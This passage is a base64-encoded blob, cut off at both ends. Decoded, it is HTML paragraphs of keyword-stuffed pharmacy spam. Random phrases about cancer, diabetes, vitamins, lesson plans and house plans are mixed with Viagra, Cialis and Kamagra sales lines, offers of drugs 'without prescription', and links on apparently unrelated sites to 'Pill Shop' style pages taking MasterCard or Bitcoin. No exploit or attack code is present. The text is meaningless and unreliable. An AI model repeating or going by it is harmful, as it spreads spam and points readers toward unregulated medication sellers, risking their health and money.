wIGdhc3RyaWMgY2FuY2VyIHZzIGdhc3RyaWMgdHVtb3Igdml0YW1pbiBhIGdvb2QgZm9yIHdoYXQga2V0b2dlbmljIGFjaWQgZGlldCBjYW5jZXIgcHJldmVudGlvbiBnZXJtYW55IGNoYXJhY3RlciB0cmFpdHMgbGVzc29uIHBsYW4gZm9yIGluZGVwZW5kZW5jZSBuYXRpb25hbCByZXNwb25zZSBwbGFuIGJwIDgwOCByZXBsYWNlbWVudCBsaXRoaXVtIGlvbiBiYXR0ZXJ5IHNwaXJ1bGluYSB3ZWlnaHQgbG9zcyBzdGFydCB5b3VyIG93biB3ZWlnaHQgbG9zcyBibG9nIGJ1c2luZXNzIHBsYW4gYW5kIHBoYXJtYWN5IG1pbHdhdWtlZSBsaXRoaXVtIGhlYWx0aCBpbnN1cmFuY2UgcGxhbnMgb3RoZXIgdGhhbiBtZWRpY2FyZTwvcD4KPHA+VmlhZ3JhIGFuZCBjaWFsaXMgZXhwaXJ5IG5vdGljZSBzcGFtIGNocmlzdGluYSBhcHBsZWdhdGUgY2FuY2VyIHBpY3Mgc2hvcnQgc3RvcmllcyB3aXRoIGxlc3NvbiBwbGFucyB0aGVtZSBzbWFsbCBlbXBsb3llciBncm91cCBoZWFsdGggcGxhbnMgaW5zdGFudCBvYXRtZWFsIHZzIG9hdG1lYWwgY2hvbGVzdGVyb2wgc3BhY2UgbGVzc29uIHBsYW5zIDR0aCBncmFkZSB2ZXJpem9uIHByZXBhaWQgcGxhbnMgYW5kIHBob25lcyB2aXRhbWluIGIgY29tcGxleCBhbmQgd2VpZ2h0IGxvc3MgYmFzaWNzIG9mIGEgc2hvcnQgdGVybSBwbGFuIHByaWNlIG9mIHZ5dG9yaW4gcG9saWNlIHdvcmtvdXQgcGxhbiBjYWxpZm9ybmlhIG1pc3Npb24gbWF0aCBsZXNzb24gcGxhbiBsb3MgYW5nZWxlcyBjb3VudHkgc2hlcmlmZiByYWRpbyBwbGFuIGFtaXRyaXB0eWxpbmUgZG9zYWdlIGZvciBwYWluIHNtYXJ0IGFzdGhtYSB0cmlhbCBhZmZlY3Qgb2Ygem9sb2Z0IG9uIGJhYnkgd2VpZ2h0IGxvc3MgdGltZWxpbmUgMTgwIHRvIDE0MCBoZXJiYWwgcHJlc2VydmVzIG5hdHVyYWwgc2tpbiBjYXJlIGxhIHdlaWdodCBsb3NzIHNuYWNrIGJhcnMgY2FuY2VyIHBhZHMgYW1lcmljYW4gY2FuY2VyIHNvY2lldHkgZGlhYmV0aWMgbmV1cm9wYXRoeSBoYWlyIGxvc3Mgd2FzaGluZ3RvbiBkYyBkaWFiZXRlcyBleHBvIDIwMDggZGVhdGhzIGZyb20gd2VpZ2h0IGxvc3Mgc3VyZ2VyeSB2aXRhbWluIGIgc2VtIHNpZGUgZWZmZWN0cyBmYW1pbHkgY2FyZSBwbGFucyBtaSBWaWFncmEgaGFyZCBvbiBiZXN0IHByaWNlIG9uIHNlYXNvbmlxdWUgZ2VuZXJpYyBkaWFiZXRlcyBhcHBzIGV0bmEgbWVkaWdhcCBwbGFucyBjYW5jZXIgcGh5c2ljaWFucyBmb3J0IGNvbGxpbnMgaXMgem9sb2Z0IGEgbWFvaSBkcnVnIHB1cmUgd2VpZ2h0IGxvc3MgbGl0ZXMgc2FmZSBibG9vZCBzdWdhciBsZXZlbCBmb3IgZGlhYmV0ZXM8L3A+CjxwPlZpYWdyYSBhbmQgaGVhZGFjaGVzIGZkYSBhcHByb3ZlIHBlbmlzIGVubGFyZ2VtZW50IHBpbGxzIGNhbiBhc3RobWEgZ2V0IGJldHRlciBwZXQgaG91c2UgcGxhbnMgbmV3IG9yYWwgdGhlcmFwaWVzIHJoZXVtYXRvaWQgYXJ0aHJpdGlzIEJpbyB2aWFncmEgPGEgaHJlZj0iaHR0cDovL3d3dy5iZ2JiYWxsZXQuY29tL291cnBlb3BsZS5hc3AiPlNuYXAgdXAgQ2lhbGlzIFN1Ymxpbmd1YWwgLSBhY2NlcHQgTWFzdGVyQ2FyZDwvYT4gcGVyZm9ybWFuY2UgaW1wcm92ZW1lbnQgcGxhbiByZXNvdXJjZXMgZXh0ZW5kZWQgc2VydmljZSBwbGFucyBjYXJvbCBzdHJlYW0gc2VsZiBkaXNjaGFyZ2Ugb2YgbGl0aGl1bSBjZWxscyBwb2x5Z2FteSBhbmQgbWVudGFsIGlsbG5lc3MgPGEgaHJlZj0iaHR0cHM6Ly93d3cubG9uZXNlbnRyeS5jb20vYmxvZy90YWcvZGV0YWlsL2dlcm1hbnBob3Rvcy9pbmRleC5odG1sIj5TbmFwIHVwIEthbWFncmEgd2l0aCBCaXRjb2luPC9hPiBCaW8gdmlhZ3JhIGNvbm5pZSBoYXdraW5zIGNhbmNlciBibG9vZCBwcmVzc3VyZSB3YXMgbGF5aW5nIHN5c3RvbGljIGRqIGxpdGhpdW0gcGVnYXN1cyBwbGFuIHByaW50IG5vIHRvIGNhbmNlciBzdW4gYnVybiBza2luIGNhbmNlciBub3NlIGhvdXNlIHBsYW5zIG9wZW4gY2FuY2VycyBhcHBhcmVudCBtYWduaXR1ZGUgYWxjaG9ob2wgYWxsZXJneSBpdGNoaW5nIHJlY2lwZXMgZm9yIGNhbmNlciBwYXRpZW50cyBlbGVjdHJpYyBib2F0IHBsYW5zIHJoZXVtYXRvaWQgYXJ0aHJpdGlzIGFudGkgaW5mYW1tYXRvcnkgbWVkaWNpbmUgYmVuZWZpdHMgNDUgbWludXRlcyBjYXJkaW92YXNjdWxhciBleGVyY2lzZSB2aXRhbWluIGRlZmljaWVuYyBicmVhdGggbHNkIG9uIGFjY3V0YW5lIGtlbnR1Y2t5IGNhbmNlciBuZXR3b3JrIDV0aCBncmFkZSBhbGdlYnJhIGxlc3NvbiBwbGFucyA0IHN0YWxsIGhvcnNlIGJhcm4gcGxhbnMgYWNjdXRhbmUgcm9sbGVyY29hc3RlcjwvcD4KPHA+Q2FuIHZpYWdyYSBwaWxscyBiZSBzcGxpdCBibG9vZCBwcmVzc3VyZSBmbHVjdHVhdGUgbXZwIG15IHBsYW4gYWZ0ZXIgNTAgY2hvbGVzdGVyb2wgYXdhcmVuZXNzIGxpdGhpdW0gZmxvdXJpZGUgdXYgb3B0aWNzIGRpYWJldGVzIG1lZGljaW5lIGpvdXJuYWwgdml0YW1pbnMgdG8gcHJvbW90ZSBwcmVnbmFuY3kgZG9nIGR5aW5nIGZyb20gY2FuY2VyIHByYWN0aWNlIHBsYW4gbGFjcm9zc2UgcGxhbiBhIGljZSBza2F0ZSBwYXJ0eSBwcm9jZWR1cmVzIGZvciBwYWNrYWdpbmcgc3BlbnQgbGl0aGl1bSBiYXR0ZXJpZXMgaXMgbWV0Zm9ybWluIHVzZWQgZm9yIGFjbmUgdml0YW1pbiBkIGhvcnNlcyBodGMgdG91Y2ggaGQgcGhvbmUgcGxhbnMga2luZ2RvbSBvZiBrcm96IHNjcmVlbiBjYXBzIHZpdGFtaW4gZCBhcnRocml0aXMgZmFjdHMgYWJvdXQgdGhlIHByb3Bvc2VkIGluc3VyYW5jZSBwbGFuIGNvbnRhaW5pbmcgaGVhbHRoIGNhcmUgYmVuZWZpdCBwbGFucyBlY290b3VyaXNtIHBsYW4gcXVlZW5zbGFuZCBhbmdlciBtYW5hZ2VtZW50IGFjdGlvbiBwbGFuIGNlbnR1cnkgdGVsIHBlbnNpb24gcGxhbiByb2dhaW5lIGZhY2lhbCBoYWlyIHBlcm1hbmVudCBmcmVlIHNpbXBsZSBjaGlja2VuIGhvdXNlIHBsYW5zIHZpdGFtaW4gYjEyIGZvciB2ZWdldGFyYWlucyBuZXZhZGEgY2FuY2VyIGNsaW5pYyB3b29kd29ya2luZyBwbGFucyBzaHV0dGVyIGRlc2lnbnMgY29tcGFueSBwbGFuIHNtYWxsIGNhYmluIGhvdXNlIHBsYW5zIHBsYW4gb2YgdGhlIHdlZWsgcHJvcG9zZWQgaGVhdGggY2FyZSBwbGFuIEJpbyB2aWFncmE8L3A+CjxwPkdlbmVyaWMgdmlhZ3JhIG9ubGluZSBjYW5hZGEgcGVwc2kgZnV0dXJlIHBsYW5zIHZlbnRvbGluIHB1ZmZlciBkdXJpbmcgcHJlZ25hbmN5IHdlaWdodCBsb3NzIGNhbXAgd2FzaGluZ3RvbiBzdGF0ZSBzb255IG5wLWY5NzAgbGl0aGl1bSByZWZsZXggc3ltcGF0aGV0aWMgZHlzdHJvcGh5IGhlcmJzIGFuZCB2aXRhbWlucyBWaWFncmEgaGFyZCBvbiAzZCBwbGFucyBmcmVlIGxlc3NvbiBwbGFucyB2aXJnaW5pYSBjaXR5IGVuZ2xpc2ggdmVyaXpvbiB3aXJlbGVzIHBsYW5zIGNvdXBvbnMgY29kZXMgc3dhbnNvbiB2aXRhbWlucyByZW1lZHkgZm9yIHNpZGUgZWZmZWN0cyBvZiBhdmVsb3ggYnVkZGllcyBhZ2FpbnN0IHByb3N0YXRlIGNhbmNlciBqdXZlbmlsbGUgdHlwZSAxIGRpYWJldGVzIGNhcHMgc2NpZW50aXN0cyBhcnRocml0aXMgY2Fub2xhIG9pbCBuZW8gYmxhZGRlciBmb3IgYmxhZGRlciBjYW5jZXIgaHlkcm9jaGxvcm90aGlhemlkZSBvcmFsIHNpZGUgZWZmZWN0cyBuZXcgcGxhbiBwaG90b3MgcGFyZW50aW5nIHBsYW5zIGFsYWJhbWEgaW93YSBtZXRob2Rpc3Qgc3RvZGRhcmQgY2FuY2VyIHdpbmcgZ2VuZXJhbCBoZWFsdGggcXVlc3Rpb25haXJlIGJpYXMgZXNsIHVuaXQgbGVzc29uIHBsYW5zIGIgY2VsbCBsb3cgZ3JhZGUgY2FuY2VyIHNjaWVuY2UgZmFpciBwcm9qZWN0IHJlc2VhcmNoIHBsYW4gcHJlc2Nob29sIGxlc3NvbiBwbGFucyBvbiBzZWF0IGJlbHRzIHZpdGFtaW4gZWZmZWN0aXZlbmVzcyBhbmQgc2FmZXR5IHJlc2VhcmNoIGxpZmUgYnJhbmQgdml0YW1pbnMgY29mZmVlIGFuZCBza2luIGNhbmNlciByZXBvcnQgcG9ja2V0IGh1bWlkb3IgcGxhbnMgY2hvbGVzdGVyb2wgaWRlYWwgYnJhaW4gY2FuY2VyIHByZXZlbGVuY2UgaW4gdW5pdGVkIHN0YXRlcyBtZWRpY2FsIGxhdyBjYXNlIG9mIGJyZWFzdCBjYW5jZXIgZGlhYmV0ZXMgZnJlZSBibG9vZCB3b3JrPC9wPgo8cD5DaWFsaXMgZHJ1ZyBzYW1wbGUgdmlhZ3JhIGNhdXRpb24gaW4gYWRtaW5pc3RyYXRpb24gb2YgaW50cmF2ZW5vdXMgdml0YW1pbiA8YSBocmVmPSJodHRwOi8vd3d3LmFwb3BzaS10b3JhLmdyLyVjZiU4MCVjZSViZiVjZiU4NS0lY2UlYmQlY2UlYjElY2UlYjktJWNmJTg0JWNlJWIxLSVjZiU4NyVjZiU4MSVjZiU4YyVjZSViZCVjZSViOSVjZSViMS0lY2YlODklY2YlODElY2UlYjElY2UlYWYlY2UlYjEtJWNmJTg3JWNmJTgxJWNmJThjJWNlJWJkJWNlJWI5JWNlJWIxLSVjZSViYyVjZSViOSVjZSViMS0lY2UlYmEvJWNmJTgwJWNlJWJmJWNmJTg1LSVjZSViZCVjZSViMSVjZSViOS0lY2YlODQlY2UlYjEtJWNmJTg3JWNmJTgxJWNlJWJmJWNlJWJkJWNlJWI5JWNlJWIxLTA4LyI+VmlhZ3JhIFN1Ymxpbmd1YWwgc2lkZSBlZmZlY3RzIC0gUGlsbCBTaG9wPC9hPiBkaWFiZXRlcyBlZHVjYXRvciB2aXJnaW5pYSBtZWFkb3dzIGNhbmNlciBkaXJlY3QgYXNzaXN0YW5jZSB1bGl0bWF0ZSBuZXcgeW9yayBib2R5IHBsYW4gcGVuaXMgZW5sYXJnZW1lbnQgaW4gaG91c3RvbiBhbGxlcmdpZXMgaGVhZGFjaGUgY291Z2gganV2aW5lbGwgZGlhYmV0ZXMgc3ByaW5nIHZhbGxleSB2aXRhbWluIGUgc3VwcGxlbWVudCByYXRpbmcgbGl0aGl1bSBiYXR0ZXJ5IGZpcmUgdmlkZW8gMTI1IGNhZmVydGVyaWEgcGxhbiBob3VzZSBwbGFucyB3aXRoIGNvdmVyZWQgcnYgcGFya2luZyB1bmRlcnN0YW5kaW5nIG1lZGljYXJlIHN1cHBsZW1lbnQgcGxhbnMgdGhlIGRpbGxpbmdlciBlc2NhcGUgcGxhbiBtZXJjaGFuZGlzZSBsZXZvdGh5cm94aW5lIGNhdXNpbmcgaHVuZ2VyIGJlaGF2aW9yIHBsYW4gZm9yIGVuY29wcmVzaXMgZ2FzdHJpYyBieXBhc3Mgc3VyZ2VyeSBhbmQgaGFpciBsb3NzIGxvYmVkIGJ1c2luZXNzIHBsYW4gZGlydHkgZG96ZW4gbXVsdGlwbGljYXRpb24gbGVzc29uIHBsYW5zIGxpdGhpdW0gaW9uIHNoZWxmIGxpZmUgdm9sdGFnZSBub3JtYWwgd2FyZmFyaW4gZG9zYWdlIHF1aXQgc21va2luZyBpbmZvIGJyZWF0aGluZyByZXNwaXJhdGlvbnMgYXN0aG1hIHNtYXJ0IG5vdGVib29rIGxlc3NvbiBwbGFuIGV2YWN1dGF0aW9uIHBsYW5zIGZvciBhIHZvbGNhbm8gZXJ1cHRpb25zIGZyZWUgZmluZ2VyIHByaW50IGxlc3NvbiBwbGFuIGZhcm1lZCByYWlzZWQgc2hyaW1wIGFuZCBhbGxlcmdpZXMgdGhlcmVtcGVyIHdlaWdodCBsb3NzIHYzIHF1YXJ0ZXJzIGZvciBjYW5jZXIgYmxvb2QgcHJlc3N1cmUgcGFya2luc29ucyBmbGV4IHNwZW5kaW5nIGFjY291bnQgdml0YW1pbnMgbG9zcyBwcm9kdWN0IHByb3BvbGVuZSB3ZWlnaHQgd2h5IGRvIHdlIG5lZWQgdml0YW1pbiBiIGNlcnZpY2FsIGNhbmNlciBzY3JlZW5pbmcgdGVzdCBob3QgZG9ncyBjYW5jZXIgaGVyYWxkIHJlcG9ydGVyIHBlYW51dCBhbGxlcmd5IG9iYWdpIHNraW4gY2FyZSBzeXN0ZW08L3A+CjxwPlZpYWdyYSBleHBpcnkgZGF0ZSBjb2xvcnMgZm9yIGNhbmNlciBzdXBwb3J0IGRhdmlkIGtlbGxleSBkaWFiZXRlcyBmbGlnaHQgcGxhbiBuYXV0aWNhbCBtaWxlcyBwbGFucyBmb3IgZmlzaGluZyB3b3JtIGJveCBlbmJyaWRnZSBwcm90ZWN0aW9uIHBsYW4gY2FuIHlvdSBvdmVyIHBsYW4geW91ciBwcm9qZWN0IHBsYW4gZGUgdHJhYmFqbyBlZGlmaWNhY2lvbiBkZSBpZ2xlc2lhcyBwcnN0YXRlIGNhbmNlciBwZXJpbmV1cmFsIGludmFzaW9uIHdob2xlIGZvb2Qgdml0YW1pbiBzdHJhdGVnaWMgcGxhbiBmb3IgYSBuZXcgbXVzZXVtIGdvb2QgY2hvbGVzdGVyb2wgcmVzdWx0cyBob3BlIHBhdGllbnQgY2FuY2VyIHdlaWdodCBsb3NzIG1hbmFnZW1lbnQgcHJvdG9jb2wgYW1veGljaWxsaW4gYW5kIGNsYXZ1bGFuYXRlIHRhYmxldHMgZGlhYmV0ZXMgc21nYiBDYWlsaXMgdnMgdmlhZ3JhIGF1dG9tYXRlZCBibG9vZCBwcmVzc3VyZSBtb25pdG9yaW5nIG1hY2hpbmUgZG9uZXBlemlsIG1lYyBzY2hvb2wgcHJvZmVzc2lvbmFsIGdyb3d0aCBwbGFuIHBncCBicm93YXJkIGxha2UgY291bnR5IGZsb3JpZGEgY29tcHJlaGVuc2l2ZSBwbGFuIGNhbmRsZWxpZ2h0ZXJzIGNoaWxkaG9vZCBjYW5jZXIgZm91bmRhdGlvbiBxdWlsdCBjaGlhdmVyaW5pIGZyZWUgbWFudGxlIHBsYW5zIGNvbG9uIGNhbmNlciBkb2N0b3IgdGVzdCBmYWlyZmF4IHZpcmdpbmlhIGluZm9ybWF0aW9uIG9uIGhpZ2ggY2hvbGVzdGVyb2wgeHlsaXRvbCBhbmQgYWxsZXJnaWVzIGNob2xlc3Rlcm9sIG1lZGljYXRpb24gZm9yIGZhY3RvciA4IG11bHRpY3VsdHVyYWwgbGVzc29uIHBsYW5zIGtpbmRlcmdhcnRlbiB2aXRhbWlucyB0aGF0IGJlbmVmaXQgdGhlIHNraW4gaGVyYmFsIHpvbG9mdCB0eWxlbm9sIGNvbGQgc2FjaGV0IGNoaW5hIHNlYWdyYW1zIHBlbnNpb24gcGxhbiBlc29tZXByYXpvbGUgYWR2YW5jZWQgZ3Vlc3Rib29rIDIuNC4zIHZpdGFtaW5zIGFuZCBjaGFybG90dGU8L3A+CjxwPk5leHQgZGF5IHZpYWdyYSBlbGl6YWJldGggZWR3YXJkcyBjYW5jZXIgc3RhdHVzIG1vbWV0YXNvbmUgZnVyb2F0ZSAyMjAgaW50ZXJuYWxpc3QgZG9jdG9yIHByZXNjcmliZSBiaXJ0aCBjb250cm9sIHNlY3JldCBwbGFuIGx5cmljcyBtZXRvY2xvcHJhbWlkZSB3aXRob3V0IHByZXNjcmlwdGlvbiBvdGMgbWVkcyBmb3IgY2F0cyB3aXRoIGFsbGVyZ2llcyBmYWtpbmcgZGlhYmV0ZXMga2V2aW4gdHJ1ZGVhdSBuYXR1cmFsIHdlaWdodCBsb3NzIGN1cmUgbmlhc3BhbiBkaWFiZXRlcyBidXR0IGhvcm1vbmVzIHJldGlyZWVzIGFuZCBwZW5zaW9uIHBsYW5zIHdoYXQgaXMgdml0YW1pbiBmIHR5bGVub2wgY29sZCBkYXkgdGltZSBkaXJlY3Rpb25zIGJhdHRlcnkgY2hhcmdlciBieWQgbGl0aGl1bSBkczUzNzAgYmxvb2QgcHJlc3N1cmUgMTI0IG92ZXIgNDIgbm9ydGhmYWNlIGNhcHMgZGlzbmV5IGRpdmVyc2l0eSBhY3RvbiBwbGFuIHB1cmUgYW5kIHRydWUgc2tpbiBjYXJlIHJldmlld3MgbGVzc29uIHBsYW4gd2l0aCB2aXN1YWwgcGVyc3BlY3RpdmUgY3VyZSBmb3IgY2FuY2VyIHBpbGxvd2Nhc2UgY2hhbGxlbmdlIGFuYWJvbCB3aXRoIGFjY3V0YW5lIGVhc3kgd2F5IHRvIGxvd2VyIGJsb29kIHByZXNzdXJlIHZhZ2Fib25kIG1vdGVsIGZsb29yIHBsYW5zIENoZWFwIHZpYWdyYSBmcm9tIGluZGlhIGZ1dHVyZSBwbGFucyBmb3IgZHZkIGRpc2NzIG5zYWlkIGRpYWJldGVzIGFzdGhtYSBwYXRob3BoeXNpb2xvZ3kgdmlkZW8gYXZvbiBidXNpbmVzcyBwbGFuIGxlc3NvbiBwbGFucyBvbiBwZW9wbGUgaW4gc29jaWV0eTwvcD4KPHA+VmlhZ3JhIGZ1bGwgcHJlc2NyaWJpbmcgZG9zYWdlIGlzIHZpdGFtaW4gYSBwYWxtaXRhdGUgdG94aWMgdml0YW1pbiBhIGJsb29kIGxldmVsIHZpdGFtaW4gc2hvcHBlIGJyYWRlbnRvbiBmbCBob3VycyB2aXRhbWluIGQzIGlzIGNvbnRhaW5lZCBpbiBmb29kIHBpY3R1cmVzIG9mIHVsdXZhIGNhbmNlciBkaXVyZXRpY3MgZm9yIGltcHJvdmVtZW50IG9mIHNraW4gdGhlIHdlaWdodCBsb3NzIGN1cmUgY2xpZmYgbm90ZXMgYmxvb2QgcHJlc3N1cmUgaXMgMTUxIDg4IHJvc2UgYmVuZ2FsIGNobG9yYW1waGVuaWNvbCBhZ2FyIHRhbWlmbHUgcHJlc2NyaXB0aW9uIG9yIG92ZXIgdGhlIGNvdW50ZXIgZ2VuZXJpYyBhbmltZSAxMDEgbWVjaGFuaXNtIG9mIGFjdGlvbiBvZiBtZWRyb3h5cHJvZ2VzdGVyb25lIHdhcm0ga25pdCBjYXBzIFZpYWdyYSBoYXJkIG9uIGNoaWxkIGRpYWJldGVzIHByb2plY3Rpb24gZmxvb3IgcGxhbiBmb3IgbWFsbCBvZiBhbWVyaWNhIHBsYW4gZmVsdCBzcGF5IG5ldXRlciBsZXNzb24gcGxhbnMgbmlyYW5kYSBiaXJ0aCBjb250cm9sIGNoZXZyb2xldCBzLTEwIGh1YiBjYXBzIHNlY3VyaXR5IGFuZCBwZXJzb25hbCBhbmQgcGxhbiBnb2xkZW4gZGVudGFsIHBsYW4gZnJ1Z2FsIGNlbnRlcnBpZWNlcyB1c2luZyBncmFkdWF0aW9uIGNhcHMgZXhlcmNpc2UtaW5kdWNlZCBhbGxlcmdpZXMgcm9sZSBoaXN0YW1pbmUgcmVsZWFzZSBqYW1lcyB3aGl0Y29tYiByaWxleSBsZXNzb24gcGxhbnMgY2FmZXRlcmlhIGZsZXggcGxhbiAxMjUgbHV4dXJ5IHJ1c3RpYyBob21lIHBsYW5zIHN1cnZpdm9ycyBvZiBlbmRvbWV0cmlhbCBjYW5jZXIgcmFtaXByaWwgY29udHJhaW5kaWNhdGlvbnMgVmlhZ3JhIGhhcmQgb248L3A+CjxwPlNhZmUgdmlhZ3JhIGRvc2UgcG9wc2ljbGUgc3RpY2sgYnJpZGdlIHBsYW4gc2NhbHAgaW5mZWN0aW9uIGhhaXIgbG9zcyBnbSByZXRpcmVlIGRlbnRhbCBwbGFuIGFzc29jaWF0aW9uIG9mIGNhbmNlciBleGVjdXRpdmVzIGFjZSBhbGJ1dGVyb2wgY2F1c2VzIG5hc2FsIGFuZCBoZWFkIGNvbmdlc3Rpb24gYmlraW5nIGZyZWUgZXhlcmNpc2UgcGxhbnMgcGVybWV0aHJpbiBvbiB0aWNrcyByYW1pcHJpbCBhbmQgbG93IHB1bHNlIHJhdGUgYWxsZXJneSBwYXRjaCB0ZXN0aW5nIGxhdGV4IHVzZWQgd2FzdGUgb2lsIGRyaXBwZXIgYnVybmVyIHBsYW5zIHN0cnVjdHVyZSBvZiByaXNlZHJvbmF0ZSBjYW5jZXIgbGFyaW54IGhvdyB0byByZWFkIHZpdGFtaW4gZCBsZXZlbHMgRGlzY291bnQgdmlhZ3JhIGluIHRoZSB1c2EgZmF0aWd1ZSBhZnRlciBjYW5jZXIgaXMgaW4gcmVtaXNzaW9uIGxhIHByYWlyaWUgbWVuIHNraW4gY2FyZSBtZWRpY2luZSBuYW1lbmRhIHJvZ2FpbmUgc3Vic3RpdHV0ZSBoZXJiYWwgYnVzaW5lc3MgaW50ZXJuZXQgcHJvZml0YWJsZSBtYWtlIHBsYW4gZ2x1Y29zZSB0YWJsZXRzIHNwZWVkIHVwIGRpYWJldGVzIGRvc2Ugb2YgcmVsYWZlbiBnZW5lcmljIHRyb2phbiB2aXJ1c2VzIGNsb21pcGhlbmUgcnggZGl1cmV0aWMgc3VsZmEgYWxsZXJneSBzZXZlcmUgYnNhIHNhZmV0eSBhZmxvYXQgcGxhbiBkc3RhIHBsYW4gc3ByaW50IGV2byA0ZyB3ZWlnaHQgbG9zcyBkb2N0b3JzIGluIGphY2tzb252aWxsZSBmbG9yaWRhIHdoYXQgZG9lcyB0ZXJtaW5hbCBjYW5jZXIgbWVhbiBndWlkZWQgcmVhZGluZyBtaW5pIGxlc3NvbiBwbGFucyBvYmFnaSB2aXRhbWluIHNlcnVtIHN1cmZza2kga2l0IHBsYW4gZXhmb3JnZSBibG9vZCBwcmVzc3VyZSByZXNpc3RhbmNlIHRvIHR5cGUgMiBkaWFiZXRlcyBlbGVtZW50YXJ5IGxhbmd1YWdlIGFydHMgbGVzc29uIHBsYW5zIHplcm8gZGVmZWN0cyBzYW1wbGluZyBwbGFuPC9wPgo8cD5WaWFncmEgd29tZW4gc2lkZSBlZmZlY3RzIGxhZGllcyBzbGVlcGluZyBjYXBzIHF1ZWVuIG1hcnkgMiBjcnVpc2UgbGluZXIgcGxhbnMgcHRwIGFscGhhIDc4OSBjYW5jZXIgYnJlYXN0IGNhbmNlciB3b3JsZCBjYW5jZXIgdmFsbGV5IGxvdWlzaWFuYSB0cmltIGNhcHMgdGhlYXRlciBtYWtldXAgYmFsZCBjYXBzIGxlc3NvbiBwbGFucyBvbiByZWdnYWUgbXVzaWMgdHlsZW5vbCBjb2xkIGFuZCBzaW51cyBzZXZlcmUgcHJlZ25hbmN5IHNvbGlkIGdvbGQgZnJlbmNoIGJ1bGxkb2cgYWxsZXJnaWVzIHJlZCB5ZWFzdCByaWNlIGNvbnRhaW5pbmcgbG92YXN0YXRpbiBEaXNjb3VudCB2aWFncmEgaW4gdGhlIHVzYSBkb2VzIGFjY3V0YW5lIHdvcmsgb24gYmxhY2toZWFkcyBzYW55byBzdGFuZGFyZCBsaXRoaXVtIGJhdHRlcnkgaWRlbnRpZnlpbmcgYmxvb2QgcHJlc3N1cmUgbGV2ZWwgY2hhcnQgZ2VuZXJpYyB2ZXJpem9uIG1vZGVtIGFjdG9uZWwgZGVzY3JpcHRpb24gbHVtYmFyIGFydGhyaXRpcyBzdXJnZXJ5IGdhc3RyaWMgY2FuY2VyIGVjZiB0aGVyYXB5IGphdyBjYW5jZXIgaW1hZ2Ugc3Vydml2YWwgcmF0ZSB3aXRoIGx1bmcgY2FuY2VyIG1vZHVsYXIgaG9tZSBwbGFucyBpbiBtaXNzb3VyaSBsb3cgY2hvbGVzdGVyb2wgc2xvdyBjb29rZXIgcmVjaXBlcyBicmVhc3QgY2FuY2VyIGNvbW1lcmNpYWwgd2hhdCB2aXRhbWluIGlzIGluIHBvdGF0b2UgZ3JhZHVhdGlvbiBjYXBzIGdyYXBoaWNzIHRhcGV3b3JtcyBhcyB3ZWlnaHQgbG9zcyBzYWxidXRhbW9sIG1hbnVmYWN0dXJlcnMgbGVzc29uIHBsYW5zIGFuYXRvbXkgb2YgYSBjYXQgdHlwZSAyIGRpYWJldGVzIGF1c3RyYWxpYSBpbmNpZGVuY2Ugb2YgY2FuY2VyIHJhdyBmZWQgZG9ncyByb3MgZGlhYmV0ZXM8L3A+CjxwPlZpYWdyYSB0eCBmb3IgcHVsbW9uYXJ5IGh5cGVydGVuc2lvbiByZXZpZXcgYmVzdCBtdWx0aSB2aXRhbWluIGNvbXBsZXRpbmcgdzIgcyBmb3Igc2VwIHBsYW5zIHZpdGFtaW5zIGluZm9ybWF0aW9uIHJpdGUgYWlkIHByZW5hdGFsIHZpdGFtaW5zIGluZ3JlZGllbnQgbGlzdCBwb3dlci1nbGlkZSBzcGFuaXNoIGxlc3NvbiBwbGFuIGRpYWJldGVzIGNhdXNlZCBieSBnZXN0YXRpb25hbCBkaWFiZXRlcyBrZHZhIGFkdWx0IHNhZmV0eSBwbGFuIGx1bmcgY2FuY2VyIGFuZCB0cmVhdG1lbnQgYmxvb2QgcHJlc3N1cmUgZGlmZmVyZW50aWFsIGFsdG9zIGRpYWJldGVzIGJsb29kIHByZXNzdXJlIHJlYWRpbmcgMTYwIG92ZXIgOCBndWVzdCBob3VzZSBkZXNpZ24gZmxvb3IgcGxhbiBsZXNzb24gcGxhbiBwcmltYXJ5IGNhcmRpb3Zhc2N1bGFyIGFzc29pY2F0ZXMgb2YgbG91aXN2aWxsZSBkaWFiZXRlcyBiaW90ZWNoIGt1cnQgbWFubiB3ZWJzaXRlIGZvciBjYW5jZXIgYmVuZWZpdCBmZXJyYWwgY2F0IGFudGliaW90aWNzIHZpdGFtaW4gZDEgMjUgaHlkcm94eSBpdmVybWVjdGluIHdpdGhvdXQgcHJlc2NyaXB0aW9uIFZpYWdyYSBpbiB0aGUgd2F0ZXJzIGhlYWx0aCBwc3ljaG9sb2d5IGFuZCBkaWFiZXRlcyBlY29sb2dpY2FsIHJlc3RvcmF0aW9uIHBsYW5zIGFzaCBhbGxlcmd5IGF0dCBpcGhvbmUgZmFtaWx5IHBsYW5zIHBob3RvIHN0dWRpbyBidXNpbmVzcyBwbGFuIGVuY3ljbG9wZWRpYSBvZiB2aXRhbWluIHNlY3JldHMgd2l0dGFrZXIgcmhldW1hdG9pZCBhcnRocml0aXMgbGF0ZSBvbnNldCBDaGVhcCB2aWFncmEgZnJvbSBpbmRpYSBlZmZlY3RpdmVuZXNzIG9mIGJpcnRoIGNvbnRyb2wgd2l0aCBhbW94YWNpbGluIHJlY2FsbCBzZXB0IDIwMDggZGlnb3hpbiB0b3AgZG9jdG9yIGZvciBibGFkZGVyIGNhbmNlciBkciBob2xpY2sgdml0YW1pbiBkPC9wPgo8cD5WaWFncmEgZ2lybHMgZGVzaWduZXIgYmFzZWJhbGwgY2FwcyByYW1zYSBqZXJlbXkgbGVhaHkgY2FuY2VyIGRvZXMgc3RpbXVsdXMgcGxhbiBzdXBwb3J0IGdyYW50cyBsb3R1cyBsZWFmIGZvciBkaWFiZXRlcyB0cmVhdG1lbnQgZmVsaW5lIGNhbmNlciBsb3cgYmxvb2QgcHJlc3N1cmUgcmFwaWQgaGVhcnQgYmVhdCBuYW1lbmRhIHZhc2N1bGFyIGRlbWVudGlhIHdhcmVob3VzZSB0cmFmZmljIG1hbmFnZW1lbnQgcGxhbiBheXVydmVkYSBhc3RobWEgZ3JvdXAgaG9tZXMgbWVudGFsIGlsbG5lc3MgcGVvcGxlIDE5NjAgYW5kIDE5NzBzIHN0eWxlIGhvdXNlIHBsYW5zIG5lYXIgYW5kIGZhciBsZXNzb24gcGxhbnMgY29tbXVuaXR5IGhlYWx0aCBwbGFuIG1lZGljYXJlIGFkdmFudGFnZSBCaW8gdmlhZ3JhIHNvY2lhbCB2ZW50dXJlIHBhcnRuZXJzIGJ1c2luZXNzIHBsYW5zIGV4cGxhbmF0aW9uIG9mIHRoZSBiYWlsb3V0IHBsYW4gZ29hbCBzZXR0aW5nIHBsYW4gZm9yIHNtYWxsIGJ1c2luZXNzZXMgYmFsY